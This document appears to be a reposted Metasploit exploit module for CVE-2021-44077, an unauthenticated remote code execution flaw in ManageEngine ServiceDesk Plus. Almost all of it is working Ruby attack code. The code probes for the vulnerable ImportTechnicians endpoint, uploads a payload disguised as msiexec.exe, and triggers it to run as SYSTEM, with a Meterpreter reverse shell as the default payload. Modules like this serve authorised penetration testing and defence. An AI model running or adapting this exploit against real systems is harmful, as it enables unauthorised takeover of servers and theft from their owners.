ManageEngine ServiceDesk Plus Remote Code Execution

This Metasploit module exploits CVE-2021-44077, an unauthenticated remote code execution vulnerability in ManageEngine ServiceDesk Plus, to upload an EXE (msiexec.exe) and execute it as the SYSTEM account. Note that build 11305 is vulnerable to the authentication bypass but not the file upload. The module will check for an exploitable build.


MD5 | c82b8548e057285c6eebdca8e865e6af

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ServiceDesk Plus CVE-2021-44077',
'Description' => %q{
This module exploits CVE-2021-44077, an unauthenticated remote code
execution vulnerability in ManageEngine ServiceDesk Plus, to upload an
EXE (msiexec.exe) and execute it as the SYSTEM account.

Note that build 11305 is vulnerable to the authentication bypass but
not the file upload. The module will check for an exploitable build.
},
'Author' => [
# Discovered by unknown threat actors
'wvu', # Analysis and exploit
'Y4er' # Additional confirmation
],
'References' => [
['CVE', '2021-44077'],
['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-authentication-bypass-vulnerability-in-servicedesk-plus-versions-11138-and-above'],
['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-for-cve-2021-44077-unauthenticated-rce-vulnerability-in-servicedesk-plus-versions-up-to-11305-22-11-2021'],
['URL', 'https://www.cisa.gov/uscert/ncas/alerts/aa21-336a'],
['URL', 'https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/'],
['URL', 'https://attackerkb.com/topics/qv2aD8YfMN/cve-2021-44077/rapid7-analysis'],
['URL', 'https://xz.aliyun.com/t/10631'] # Y4er's writeup
],
'DisclosureDate' => '2021-09-16',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Windows Dropper', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8080,
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/RestAPI/ImportTechnicians')
)

unless res
return CheckCode::Unknown('Target failed to respond to check.')
end

# NOTE: /RestAPI/ImportTechnicians was removed after build 11303
unless res.code == 200 && res.get_html_document.at('//form[@name="ImportTechnicians"]')
return CheckCode::Safe('/RestAPI/ImportTechnicians is not present.')
end

CheckCode::Appears('/RestAPI/ImportTechnicians is present.')
end

def exploit
upload_msiexec
execute_msiexec
end

def upload_msiexec
print_status('Uploading msiexec.exe')

form = Rex::MIME::Message.new
form.add_part(Faker::Hacker.verb, nil, nil, 'form-data; name="step"')
form.add_part(generate_payload_exe, 'application/octet-stream', 'binary',
'form-data; name="theFile"; filename="msiexec.exe"')

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/RestAPI/ImportTechnicians'),
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'data' => form.to_s
)

unless res&.code == 401 && res.body.include?('sdp.vulnerability.exceptionerror.title')
fail_with(Failure::NotVulnerable, 'Failed to upload msiexec.exe')
end

print_good('Successfully uploaded msiexec.exe')
end

def execute_msiexec
print_status('Executing msiexec.exe')

# This endpoint "won't" return
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/RestAPI/s247action'),
'vars_post' => {
'execute' => 's247AgentInstallationProcess'
}
}, 0)
end

# XXX: FileDropper dies a miserable death if the file is in use
def on_new_session(_session)
super

# Working directory is C:\Program Files\ManageEngine\ServiceDesk\site24x7
print_warning("Yo, don't forget to clean up ..\\bin\\msiexec.exe")
end

end

Related Posts